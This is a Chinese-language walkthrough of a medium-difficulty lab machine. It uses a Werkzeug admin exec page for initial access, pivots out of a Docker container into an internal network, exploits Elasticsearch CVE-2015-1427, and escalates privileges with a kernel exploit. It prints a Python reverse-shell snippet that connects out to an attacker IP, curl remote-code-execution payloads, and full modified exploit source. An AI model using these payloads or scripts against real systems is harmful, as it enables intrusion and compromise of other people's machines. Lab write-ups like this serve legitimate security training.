难度:中等
涉及到的知识点
主机发现
端口扫描
服务发现
路径爬取
代码注入
Shell脚本
内网信息收集
内网穿透
漏洞利用与exp修改
密码破解
本地提权
攻击代码修改
发现主机
arp-scan -l
确定192.168.229.147为靶机ip
扫描端口
查看端口详细信息
百度发现werkzeug是一个python的web框架,访问192.168.229.147:5000!
经过测试没有发现有价值信息,使用dirsearch扫描目录
访问admin目录,网页提示可以执行exec,因为是python框架,执行python反弹shell命令
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.229.132",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
nc开启监听
shell反弹成功发现是root权限
但是中等难度靶机哪有这么简单,ls发现具有dockerfile,说明可能是docker容器系统
以下两条命令通过,说明百分之百是docker系统搭建的环境
/.dockerenv
cat /proc/1/cgroup
查看ip地址发现存在另一个网段
使用shell编程ping内网主机
使用Venom建立内网隧道
python开启80端口准备上传agent端给靶机
admin端开启监听
靶机下载agent,给予执行权限,运行
admin端接收到信息,并且开启socks代理
修改proxychains配置文件
使用nmap进行端口扫描
proxychains nmap -Pn -sT ip
对172.17.0.1扫描,发现5000端口,浏览器配置socks代理后进行访问
发现与192.168.227.147完全相同,说明这个ip是面向docker的ip
扫描172.17.0.3
进行端口进一步探测
Elasticsearch是一个搜索引擎,搜索是否存在漏洞
使用36337.py,vi发现是python2脚本
使用python2运行
直接运行,exp会出错,经过搜索终于在 Github 找到失败原因,原因是服务里面没有数据,所以不能通过search来搜索进而执行命令
添加一条数据
proxychains curl -XPUT 'http://172.17.0.3:9200/twitter/user/yren' -d '{ "name" : "Wu" }'
执行命令
proxychains curl -XPOST 'http://172.17.0.3:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"}}}'
使用exp再次执行发现成功
也可以用修改exp的方法达到一劳永逸的方式,添加一个InsertData函数即可
exp完整源码:
```
!/bin/python2
coding: utf-8
Author: Darren Martyn, Xiphos Research Ltd.
Version: 20150309.1
Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
import requests
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
version = "20150309.1"
def banner():
print """\x1b[1;32m
Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" %(version)
def execute_command(target, command):
payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").getText()"}}}""" %(command)
try:
url = "http://%s:9200/_search?pretty" %(target)
r = requests.post(url=url, data=payload)
except Exception, e:
sys.exit("Exception Hit"+str(e))
values = json.loads(r.text)
fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
print fuckingjson.strip()
def InsertData(target):
data='{ "name" : "Wu" }'
requests.post("http://%s:9200/twitter/user/yren"%(target),data=data)
def exploit(target):
InsertData(target)
print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
while True:
cmd = raw_input("~$ ")
if cmd == "exit":
sys.exit("{!} Shell exiting!")
else:
execute_command(target=target, command=cmd)
def main(args):
banner()
if len(args) != 2:
sys.exit("Use: %s target" %(args[0]))
exploit(target=args[1])
if name == "main":
main(args=sys.argv)
```
利用exp获取root权限,ls查看目录下文件,发现passwords
读取passwords
去网站md5解密
经过测试只有john账号可以ssh连接,ssh连接到宿主机
uname-a发现linux版本很低,寻找漏洞提权
拷贝出漏洞,我们发现他为c语言的源代码需要gcc编译,但是靶机没有gcc,于是我们需要用kali提前编译
但是这里有一段代码,执行的时候会再次执行gcc命令,但是靶机没有gcc,于是我们也需要自己修改exp
将代码中生成so文件的代码取消(打上注释)
使用gcc将文件编译,warning忽略
尝试在kali种搜索源码中需要的文件
找到并复制出来
python开启服务器,让靶机下载exp和so文件
因为源码中的os是在tmp文件于是用命令将exp和os转移到tmp
mv * /tmp/
赋予exp可执行权限,运行exp成功提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论